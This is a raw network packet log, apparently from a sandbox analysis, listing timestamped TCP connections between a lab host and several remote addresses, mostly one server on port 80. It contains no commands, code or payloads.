Oct 30, 2024 11:45:42.034506083 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.034523964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034583092 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.034715891 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034754992 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.034894943 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034909010 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034924030 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034939051 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034950972 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.034981966 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.035073996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.035089016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.035104990 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.035111904 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.035136938 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.035149097 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.035243988 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.035284042 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.035410881 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.035425901 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.035440922 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.035450935 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.035455942 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.035469055 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.035471916 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.035486937 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.035510063 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.039390087 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.039405107 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.039418936 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.039480925 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.039480925 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.105308056 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.105323076 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.105338097 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.105365038 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.105386019 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.135965109 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.136456013 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.143651962 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.146601915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.146660089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.146661997 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.146676064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.146727085 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147140026 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147166014 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147181988 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147182941 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147203922 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147222042 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147224903 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147238016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147263050 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147275925 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147278070 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147293091 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147306919 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147336960 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147358894 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147373915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147388935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147404909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147413015 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147425890 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147458076 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147466898 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147474051 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147490025 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147512913 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147542000 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147546053 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147572041 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147586107 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147587061 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147608042 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147623062 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147667885 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147727013 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147742987 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147768021 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147778034 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147792101 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147805929 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147814035 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147845030 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147932053 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147949934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147967100 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147974968 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.147985935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.147994041 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.148016930 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.148027897 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.148056984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.148112059 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.148127079 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.148143053 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.148154020 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.148184061 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.148391008 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.148435116 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.148472071 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.148488998 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.148504019 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.148519039 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.148535013 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.148560047 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.148562908 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.148587942 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.148607969 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.148632050 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.148847103 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.148860931 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.148875952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.148891926 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.148895025 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.148915052 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.148915052 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.148941994 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.148967028 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.149076939 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.149091005 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.149132013 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.149141073 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.149157047 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.149173021 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.149183989 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.149189949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.149194002 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.149207115 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.149216890 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.149230957 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.149246931 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.160723925 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.160741091 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.161025047 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.161035061 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.161156893 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.161570072 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.161576986 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.161979914 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.162556887 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.162691116 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.174093008 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.174194098 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.184077024 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.184171915 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.192415953 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.192589045 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.197735071 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.197820902 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.198091030 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.198101997 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.220715046 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.220731974 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.220748901 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.220767975 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.220791101 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.239340067 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.243329048 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.245050907 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.250144958 CET	443	49952	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:42.250466108 CET	49952	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:42.250488997 CET	443	49952	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:42.251812935 CET	443	49952	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:42.252326012 CET	49952	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:42.252475977 CET	49952	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:42.252481937 CET	443	49952	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:42.252562046 CET	443	49952	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:42.267246962 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267265081 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267280102 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267298937 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267309904 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267311096 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267332077 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267349005 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267364979 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267375946 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267380953 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267395973 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267400980 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267416000 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267420053 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267446041 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267446041 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267463923 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267467976 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267481089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267487049 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267497063 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267499924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267517090 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267524004 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267539024 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267539978 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267558098 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267575026 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267582893 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267592907 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267599106 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267611027 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267617941 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267635107 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267647028 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267668962 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267685890 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267702103 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267713070 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267725945 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267728090 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267744064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267745018 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267765045 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267769098 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267786026 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267787933 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267796993 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267803907 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267823935 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267829895 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267853975 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267857075 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267868996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267869949 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267888069 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267900944 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267904043 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267920017 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267936945 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267954111 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267954111 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267971039 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.267981052 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267991066 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.267995119 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.268012047 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.268013954 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.268028021 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.268033028 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.268048048 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.268054008 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.268069029 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.268083096 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.268650055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.268666029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.268690109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.268698931 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.268707037 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.268722057 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.270736933 CET	443	49959	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:42.279685020 CET	49959	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:42.279721022 CET	443	49959	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:42.280810118 CET	443	49959	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:42.280894041 CET	49959	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:42.284738064 CET	49959	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:42.284838915 CET	443	49959	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:42.286130905 CET	49959	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:42.286149025 CET	443	49959	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:42.293607950 CET	49970	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:42.293638945 CET	443	49970	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:42.293864012 CET	49970	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:42.294212103 CET	49970	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:42.294226885 CET	443	49970	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:42.296597958 CET	49952	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:42.300697088 CET	49971	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:42.300715923 CET	443	49971	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:42.300843954 CET	49971	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:42.301089048 CET	49971	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:42.301100969 CET	443	49971	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:42.303998947 CET	443	49956	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.308345079 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.308368921 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.308384895 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.308439970 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.308439970 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.317595005 CET	49956	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.317630053 CET	443	49956	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.318589926 CET	49956	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.318594933 CET	443	49956	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.333483934 CET	49959	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:42.336133957 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.336149931 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.336164951 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.336188078 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.336213112 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.377871990 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.377908945 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.377933979 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.377952099 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.377964020 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.377968073 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.378002882 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.382631063 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.382684946 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.382700920 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.382725000 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.382744074 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.382767916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.382889986 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.382905960 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.382921934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.382939100 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.382950068 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.382956982 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.382967949 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.382973909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.382987022 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.382992029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.383007050 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.383008003 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.383023977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.383032084 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.383042097 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.383054972 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.383073092 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.383095026 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.383100033 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.383158922 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.383173943 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.383209944 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.383214951 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.383227110 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.383274078 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.383373022 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.383390903 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.383429050 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.383496046 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.383514881 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.383531094 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.383548975 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.383555889 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.383568048 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.383574009 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.383583069 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.383608103 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.383622885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.384151936 CET	80	49888	185.215.113.206	192.168.2.6
